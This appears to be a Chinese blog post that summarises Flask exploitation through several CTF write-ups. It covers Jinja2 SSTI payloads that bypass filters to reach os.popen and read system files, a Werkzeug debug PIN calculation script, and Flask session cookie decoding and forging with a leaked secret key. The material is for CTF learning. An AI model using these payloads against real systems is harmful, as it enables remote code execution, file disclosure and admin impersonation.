flask漏洞利用小结

[toc]

菜鸡刚接触 flask 不久,在此自不量力地总结一波flask的漏洞利用

概述

以下的总结,源于本人刷题过程中的摘录

目前遇到的flask漏洞,主要是三类

  1. jinja2 模板注入
  2. PIN 码 rce
  3. session 伪造

知识点汇总

这里是以 flask 漏洞利用为主题的 知识点总结

flask基础

要想利用好flask 首先需要一定的知识储备

以下是关乎主题的 flask 基础知识

jinja2 ssti

jinja2 模板注入

python base

先要掌握一些 关乎主题的 python 基础知识

ssti tricks

然后就是各种tricks了

PIN rce

PIN 的概念,和利用的脚本

重要的是理解怎么利用 PIN 进行 rce

session forgery

session 伪造的脚本,至于客户端session 的危害,可以参考p神的文章

重要的是意识到 flask 的session 的脆弱,并会跑脚本

  1. https://github.com/noraj/flask-session-cookie-manager

    session伪造的项目,使用这个脚本可以实现 encode 和 decode

  2. https://www.leavesongs.com/PENETRATION/client-session-security.html

    p神对 客户端 session 的探究

实战

以下是一些关于 flask 的web 题的解题思路

[GYCTF2020]FlaskApp

在decode 随便输入

可以看到开了 debug 模式

image-20210224221413419

用到 render_template_string ,有ssti

试试看

1
2
{{1-1}}
e3sxLTF9fQ==

image-20210224221711272

没问题

那就开始注入

先确定一波它拦截了什么

1
2
eval
import

跑个脚本,找找 __builtins__

image-20210224223920928

1
2
{{().__class__.__mro__[1].__subclasses__()[75].__init__.__globals__}}
e3soKS5fX2NsYXNzX18uX19tcm9fX1sxXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX319

用 open 来读读源码,估计是app.py

1
2
3
b64encode(r"""{{().__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']("app.py").read()}}""")

e3soKS5fX2NsYXNzX18uX19tcm9fX1sxXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ29wZW4nXSgiYXBwLnB5IikucmVhZCgpfX0=

image-20210225135345997

整理一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from flask
import Flask, render_template_string from flask
import render_template, request, flash, redirect, url_for from flask_wtf
import FlaskForm from wtforms
import StringField, SubmitField from wtforms.validators
import DataRequired from flask_bootstrap
import Bootstrap
import base64 app = Flask(__name__) app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)
class NameForm(FlaskForm):
text = StringField('BASE64加密', validators = [DataRequired()]) submit = SubmitField('提交')

class NameForm1(FlaskForm):
text = StringField('BASE64解密', validators = [DataRequired()]) submit = SubmitField('提交')
def waf(str):
black_list = ["flag", "os", "system", "popen", "import", "eval", "chr", "request", "subprocess", "commands", "socket", "hex", "base64", "*", "?"]
for x in black_list:
if x in str.lower():
return 1

@app.route('/hint', methods = ['GET'])
def hint():
txt = "失败乃成功之母!!"
return render_template("hint.html", txt = txt)

@app.route('/', methods = ['POST', 'GET'])
def encode():
if request.values.get('text'):
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "结果 :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp) flash(tmp)
return redirect(url_for('encode'))
else :
text = ""
form = NameForm(text)
return render_template("index.html", form = form, method = "加密", img = "flask.png")

@app.route('/decode', methods = ['POST', 'GET'])
def decode():
if request.values.get('text'):
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp):
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash(res)
return redirect(url_for('decode'))
else :
text = ""
form = NameForm1(text)
return render_template("index.html", form = form, method = "解密", img = "flask1.png")



@app.route('/<name>', methods = ['GET'])
def not_found(name):
return render_template("404.html", name = name)


if __name__ == '__main__':
app.run(host = "0.0.0.0", port = 5000, debug = True)

1
black_list = ["flag", "os", "system", "popen", "import", "eval", "chr", "request", "subprocess", "commands", "socket", "hex", "base64", "*", "?"]

但是可以通过字符拼接绕过

1
2
3
b64encode(r"""{{().__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['__impor'+'t__']('o'+'s')['po'+'pen']("ls").read()}}""")

e3soKS5fX2NsYXNzX18uX19tcm9fX1sxXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ19faW1wb3InKyd0X18nXSgnbycrJ3MnKVsncG8nKydwZW4nXSgibHMiKS5yZWFkKCl9fQ==

image-20210225141147342

接下来就去找flag

1
ls /

image-20210225141226275

1
"cat /this_is_the_fl"+"ag.txt"

image-20210225141408290

1
flag{44a183de-8167-4881-8161-492418541045} 

也可以用 pin 来 rce

image-20210225141519751

在hint 中就有提示

试试看

先确定要素

image-20210225151650873

app.py 的位置

1
/usr/local/lib/python3.7/site-packages/flask/app.py

读一读 /etc/passwd

1
2
3
b64encode(r"""{{().__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/etc/passwd').read()}}""")

e3soKS5fX2NsYXNzX18uX19tcm9fX1sxXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ29wZW4nXSgnL2V0Yy9wYXNzd2QnKS5yZWFkKCl9fQ==

image-20210225150711099

猜测username

1
flaskweb:x:1000:1000::/home/flaskweb:/bin/sh 

看看 machine-id

1
b64encode(r"""{{().__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/proc/self/cgroup').read()}}""")

image-20210225152136503

1
940dec83f9c962beb9b36e3ea1998021954fd83ce1539eac285c2d49024fd3fb

看看mac地址

1
b64encode(r"""{{().__class__.__mro__[1].__subclasses__()[75].__init__.__globals__['__builtins__']['open']('/sys/class/net/eth0/address').read()}}""")
1
02:42:ac:10:92:5c 

处理一下

image-20210225151052251

1
2485377864284

计算pin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485377864284',# str(uuid.getnode()), /sys/class/net/ent0/address
'940dec83f9c962beb9b36e3ea1998021954fd83ce1539eac285c2d49024fd3fb'# get_machine_id(),
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)
1
181-776-943

image-20210225152536205

得到flag

image-20210225152617090

1
flag{44a183de-8167-4881-8161-492418541045}

[CSCCTF 2019 Qual]FlaskLight

image-20210225152747078

很粗糙的一个网站

image-20210225152834311

get 参数,为 search

image-20210225152917147

没有太大问题

image-20210225153106047

这里也没问题

跑个脚本,找可用的模块

发现拦截了 globals

但是可以通过拼接字符串绕过

1
"__glob"%2b"als__"
1
?search={{().__class__.__mro__[1].__subclasses__()[59].__init__["__glob"%2b"als__"]["__builtins__"]["__import__"]("os").popen("ls").read()}}

image-20210225155354001

找flag

image-20210225155815468

1
flag{b61df7f6-3e3a-4edc-89e3-65e530575069} 

[RootersCTF2019]I_<3_Flask

感觉没有下手的地方

尝试,发现参数

1
?name

没有过滤什么

直接跑脚本,找到可用的模块

image-20210225164722488

1
?name={{().__class__.__mro__[1].__subclasses__()[105].__init__.__globals__['__builtins__']['__import__']('os').popen('ls').read()}}

image-20210225164946127

得到flag

image-20210225165013362

1
flag{aadcb791-f3f4-49f4-ad52-a2c9b538c4ff} 

[pasecactf_2019]flask_ssti

image-20210225165122234

很直白,就是考ssti

但是有拦截

1
2
.
_

image-20210225165804752

可以绕过

1
2
3
Cookie: UM_distinctid=17705637df30-08003bc12e4fd68-4c3f207e-e1000-17705637df4b3; a=__class__; base=__base__; sub=__subclasses__; init=__init__; globals=__globals__; builtins=__builtins__; getitem=__getitem__; eval=eval; import=__import__; popen=popen; read=read

nickname={{()[request|attr("cookies")|attr("get")("a")]|attr(request|attr("cookies")|attr("get")("base"))|attr(request|attr("cookies")|attr("get")("sub"))()|attr("pop")(132)|attr(request|attr("cookies")|attr("get")("init"))|attr(request|attr("cookies")|attr("get")("globals"))|attr(request|attr("cookies")|attr("get")("getitem"))(request|attr("cookies")|attr("get")("builtins"))|attr(request|attr("cookies")|attr("get")("getitem"))(request|attr("cookies")|attr("get")("import"))("os")|attr(request|attr("cookies")|attr("get")("popen"))("ls /")|attr(request|attr("cookies")|attr("get")("read"))()}}

image-20210225171610069

找flag

1
cat *

看源码

1
2
3
4
5
6
7
8
9
10
11
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))

file = open("/app/flag", "r")
flag = file.read()
flag = flag[:42]

app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""

os.remove("/app/flag")

可见flag在 config 当中

1
'flag': '-M7\x10wH6l0\x04 k~\x0e\x1eXj\x00(DIH\x0b\x17!3\x04i\x02XG\x0b \x05z*Ej\x13\x0fKG'}

要逆向

实际上,只不过用到了 ^ 的性质,很简单

image-20210225173041515

1
flag{94bb4285-ac07-4ab5-88d9-41c57a4a250d}

[HCTF 2018]admin

试试看注册一个username为admin的账户,果然返回admin被注册了

image-20210202203722338

所以先随便注册一个

1
2
hello
hello

有一个/post可以访问,但是用hello账号访问时404notfound,猜测用admin登录会得到flag

image-20210202204033532

还可以修改密码

这时候就有思路了,可以修改admin账户的密码,或者注册一个 admin’#之类的账户

先试试看改密码

image-20210202204321422

可能是根据session来判断身份的

试试看抓注册的包

image-20210202204756373

经过尝试,发现注册的时候可能存在注入点

估计是执行insert语句,然后报错了

image-20210202205252747

image-20210202205230028

猜测一下后端代码,但是值得注意的是后端估计不是php开发的,大概率是python

1
2
3
4
5
6
7
8
9
username = req.params["username"]
password = req.params["password"]
check = "SELECT username from user_table where username='"+username+"'"
r = mysql_exec(conn,check)
if len(r)!=0:
erro()
insert = "INSERT user_table (username,password) values ('{%s}','{%s})"%(username,password)
r = mysql_exec(insert)
redirect()

如果有两步的话,就不知道这报错是第一步还是第二步的

所以最好把引号给闭合了

1
2
username='or 1 or'
yes

这样的话,估计就有一个username 为1的账号

但是报错了,估计用的是双引号

1
2
username="or 1 or"
yes

又报错了,感觉没戏

又来到change password页面,看看源码,看到一段注释

image-20210202211135551

1
<!-- https://github.com/woadsl1234/hctf_flask/ -->

访问一下

是源码

可以看到,index.html有对session[‘name’]进行判断,如果是admin,就会显示flag

image-20210202212223987

从而可以确定了,sql注入应该是没戏了

用到了flask,可以解密session看看session是基于什么东西生成的

image-20210203144552558

https://github.com/noraj/flask-session-cookie-manager

有专门的项目,破解flask的session

1
Cookie: UM_distinctid=17705637df30-08003bc12e4fd68-4c3f207e-e1000-17705637df4b3; session=.eJw9kM2KwkAQBl9l6bMHjXoJeIhMFA89wdCbMH0R18Qk86OQKBtHfPcdXPD80VVUP-Fw7uuhhfjW3-sJHLoK4id8_UAMvFUj-qqTYmOkTj1G6TKjtctE5ZDWOqPTQ1LVZYINi8KgLixrXEjHWlIyZ6emTHmryr2XwlqM9lPlc40-d1wWLQsVsT7NM1IP5ZuHFMZLSpeqVDMV7UYWlUGhFlLI4GsipqplV3S8za2ixKNTI2u20qUreE3gNPTnw-1q6ssnAX3imcKJC1q90Si-x6AIaBkQIY1yHVTzkGS4xF8mHDlZvXGdOzb1h1SYnS-b_-VydGGAtrb2ChO4D3X__hvMpvD6A7Ahb0Y.YBpCBQ.i3fX74MZZnyRO42VjT24cXjoQls
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode

def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)

decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True

try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')

if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')

return session_json_serializer.loads(payload)

if __name__ == '__main__':
# session = sys.argv[1]
session = ".eJw9kM2KwkAQBl9l6bMHjXoJeIhMFA89wdCbMH0R18Qk86OQKBtHfPcdXPD80VVUP-Fw7uuhhfjW3-sJHLoK4id8_UAMvFUj-qqTYmOkTj1G6TKjtctE5ZDWOqPTQ1LVZYINi8KgLixrXEjHWlIyZ6emTHmryr2XwlqM9lPlc40-d1wWLQsVsT7NM1IP5ZuHFMZLSpeqVDMV7UYWlUGhFlLI4GsipqplV3S8za2ixKNTI2u20qUreE3gNPTnw-1q6ssnAX3imcKJC1q90Si-x6AIaBkQIY1yHVTzkGS4xF8mHDlZvXGdOzb1h1SYnS-b_-VydGGAtrb2ChO4D3X__hvMpvD6A7Ahb0Y.YBpCBQ.i3fX74MZZnyRO42VjT24cXjoQls"
print(decryption(session.encode()))

得到

1
{'_fresh': True, '_id': b'df137b41d6133a990f87f10c97257b86dd5d25ef386fc507ff4e4aad349e3d4c4c34feead66f77962c82493519af5cb1d7d06843f186e7afebddea032f1f6e6a', 'csrf_token': b'303e5bfdc21c051511d3ea7b54ccb787dec0e31d', 'image': b'VB3Z', 'name': 'hello', 'user_id': '10'}

可见,用户名hello就在这里面

如果把name的值设为admin,然后生成一个session,就可以冒充admin登录了

要生成session

去config.py中找到secret_key

1
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'

所以secret_key可以是ckj123

接下来生成session

1
ython .\flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_fresh': True, '_id': b'df137b41d6133a990f87f10c97257b86dd5d25ef386fc507ff4e4aad349e3d4c4c34feead66f77962c82493519af5cb1d7d06843f186e7afebddea032f1f6e6a', 'csrf_token': b'303e5bfdc21c051511d3ea7b54ccb787dec0e31d', 'image': b'VB3Z', 'name': 'admin', 'user_id': '10'}"

image-20210203145235373

1
.eJw9kEGLwjAQRv_KMmcPWvUieKikiodJscy2ZC6iprZNGhdaZduI_32DC54_5j3ePOF47cq-htW9e5QTODYaVk_4OsMKeKcG9LqRYmulSTxGyTKljUuFdkgbk9JllKSbVLBlkVs0ecsGF9KxkRTP2akpU1ar4uClaFuMDlPlM4M-c1zkNQsVsbnMU1Kj8tUohfWSkqUq1ExF-4GFtijUQgoZfFXEpGt2ecO7rFUUe3RqYMOtdMkaXhO49N31eP-x5e2TgD72TOHEBa3ZGhTfQ1AEtAyIkEaZCap5SLJc4C8TDhyv37jGnaryQ8rt3hfV_3I7uTDASbvmBhN49GX3_hvMpvD6A687bzs.YBpIKQ.aaxBjEPHdpKgsH2V5x99lnRWIHI

然后就可以去伪造了

image-20210203145435705

1
flag{3bec85bf-8725-4f38-8d68-5dd5fc969c9e}

[neuqcsa二月月赛] ezflask

从login的框框中输入一个东西,比如admin,然后这个admin就被打印在了页面上,猜测这个输入的username就是ssti的注入点

image-20210209092651194

试试看其他的

1
name={{"hello"}}

image-20210209092743746

看来是引号被过滤了

1
name={{request.args.a}}/user?a=hello

但是没有过滤request.args

image-20210209092857579

过滤了[

image-20210209093124945

但是可以用 |attr来取元素

1
2
name={{()|attr(request.args.a)}}
/user?a=__class__

image-20210209093254695

1
name={{()|attr(request.args.a)|attr(request.args.b)}}

image-20210209093559334

一切正常

1
name={{()|attr(request.args.a)|attr(request.args.b).pop(1)}}

image-20210209093702461

貌似但凡出现数字就被拦截

但是由于返回的实际上是tuple,所以不能用pop方法

1
name={{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.a)}}

image-20210209094427316

1
2
name={{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.a)}}
/user?a=__class__&b=__base__&c=__subclasses__

新进展,用 __base__

image-20210209100102868

拦截了数字

搜索之后,发现可以用 |int 来将字符串转换成 int

好像很难找到有 __builtins__ 的模块

1
name={{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(request.args.g|int)|attr(request.args.e)|attr(request.args.f)}}
1
2
name={{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()}}
?a=__class__&b=__base__&c=__subclasses__&d=pop&e=__init__&f=__globals__&g=128&h=__builtins__&i=__getitem__

找到python3常用的类

image-20210209115450671

1
127

但是它的 __init__ 竟让没有__globals__

看看它的globals

1
2
3
name={{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(request.args.g|int)|attr(request.args.e)|attr(request.args.f)}}

?a=__class__&b=__base__&c=__subclasses__&d=pop&e=__init__&f=__globals__&g=127&h=__builtins__&i=__getitem__&j=popen

没有

换一个

1
2
warnings.WarningMessage
176

看看它的globals

1
name={{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(request.args.g|int)|attr(request.args.e)|attr(request.args.f)}}

也没有

都没有,最后发现,只有两个有globals

一个是 g=128,一个是g=129

128

1
{'__name__': '_sitebuiltins', '__doc__': '\nThe objects used by the site module to add custom builtins.\n', '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f0e0ce90f90>, '__spec__': ModuleSpec(name='_sitebuiltins', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f0e0ce90f90>, origin='/usr/local/lib/python3.7/_sitebuiltins.py'), '__file__': '/usr/local/lib/python3.7/_sitebuiltins.py', '__cached__': '/usr/local/lib/python3.7/__pycache__/_sitebuiltins.cpython-37.pyc', 'sys': <module 'sys' (built-in)>, 'Quitter': <class '_sitebuiltins.Quitter'>, '_Printer': <class '_sitebuiltins._Printer'>, '_Helper': <class '_sitebuiltins._Helper'>}

129

1
{'__name__': '_sitebuiltins', '__doc__': '\nThe objects used by the site module to add custom builtins.\n', '__package__': '', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f0e0ce90f90>, '__spec__': ModuleSpec(name='_sitebuiltins', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f0e0ce90f90>, origin='/usr/local/lib/python3.7/_sitebuiltins.py'), '__file__': '/usr/local/lib/python3.7/_sitebuiltins.py', '__cached__': '/usr/local/lib/python3.7/__pycache__/_sitebuiltins.cpython-37.pyc', 'sys': <module 'sys' (built-in)>, 'Quitter': <class '_sitebuiltins.Quitter'>, '_Printer': <class '_sitebuiltins._Printer'>, '_Helper': <class '_sitebuiltins._Helper'>}

是python3.7写的

有一个sys模块

sys有一个 modules属性

试试看,看看里面有什么

1
name={{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(request.args.g|int)|attr(request.args.e)|attr(request.args.f)|attr(request.args.i)(request.args.j)|attr(request.args.m)}}
1
/user?a=__class__&b=__base__&c=__subclasses__&d=pop&e=__init__&f=__globals__&g=128&h=__builtins__&i=__getitem__&j=sys&m=modules
1
2
{'sys': <module 'sys' (built-in)>, 'builtins': <module 'builtins' (built-in)>, '_frozen_importlib': <module 'importlib._bootstrap' (frozen)>, '_imp': <module '_imp' (built-in)>, '_thread': <module '_thread' (built-in)>, '_warnings': <module '_warnings' (built-in)>, '_weakref': <module '_weakref' (built-in)>, 'zipimport': <module 'zipimport' (built-in)>, '_frozen_importlib_external': <module 'importlib._bootstrap_external' (frozen)>, '_io': <module 'io' (built-in)>, 'marshal': <module 'marshal' (built-in)>, 'posix': <module 'posix' (built-in)>, 'encodings': <module 'encodings' from '/usr/local/lib/python3.7/encodings/__init__.py'>, 'codecs': <module 'codecs' from '/usr/local/lib/python3.7/codecs.py'>, '_codecs': <module '_codecs' (built-in)>, 'encodings.aliases': <module 'encodings.aliases' from 
............

在上面这些modules中找出os

image-20210209123343258

确实有

尝试一下

貌似问题不大

image-20210209123530686

试试看调用它的__class__

image-20210209123638522

发现确确实实是个class,试试看

先执行这个

1
popen('ls').read()
1
2
3
name={{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(request.args.g|int)|attr(request.args.e)|attr(request.args.f)|attr(request.args.i)(request.args.j)|attr(request.args.m)|attr(request.args.i)(request.args.o)|attr(request.args.p)(request.args.ls)|attr(request.args.read)()}}

/user?a=__class__&b=__base__&c=__subclasses__&d=pop&e=__init__&f=__globals__&g=128&h=__builtins__&i=__getitem__&j=sys&m=modules&o=os&p=popen&ls=ls&read=read

image-20210209124200178

成功了

成功执行了命令

接下来就去找flag了

image-20210209124244420

找到了flag,在根目录下

/flag.txt

image-20210209124328079

1
2
3
?a=__class__&b=__base__&c=__subclasses__&d=pop&e=__init__&f=__globals__&g=128&h=__builtins__&i=__getitem__&j=sys&m=modules&o=os&p=popen&ls=cat+/flag.txt&read=read

name={{()|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)()|attr(request.args.d)(request.args.g|int)|attr(request.args.e)|attr(request.args.f)|attr(request.args.i)(request.args.j)|attr(request.args.m)|attr(request.args.i)(request.args.o)|attr(request.args.p)(request.args.ls)|attr(request.args.read)()}}

得到flag

1
flag{Ssti_1s_dang3r0us!!!!}

推荐阅读

jinja2 模板注入

  1. https://0day.work/jinja2-template-injection-filter-bypasses/

    介绍了很多实用的bypass,包括但不限于 _[]

  2. https://jinja.palletsprojects.com/en/2.11.x/

    jinja2 官方文档,探究源码有助于发掘并利用漏洞

  3. https://houwenda.github.io/2020/02/22/jinja2-ssti/

    https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/

    作者尝试对 jinja2 ssti 做了全面的总结

  4. http://docs.jinkan.org/docs/flask/index.html

    flask 官方文档,有问题,就看官方文档

PIN 码 rce

  1. https://xz.aliyun.com/t/2553

    讲解了Flask debug pin安全问题,即漏洞的利用与原理

session 伪造

  1. https://github.com/noraj/flask-session-cookie-manager

    session伪造的项目,使用这个脚本可以实现 encode 和 decode

  2. https://www.leavesongs.com/PENETRATION/client-session-security.html

    p神对 客户端 session 的探究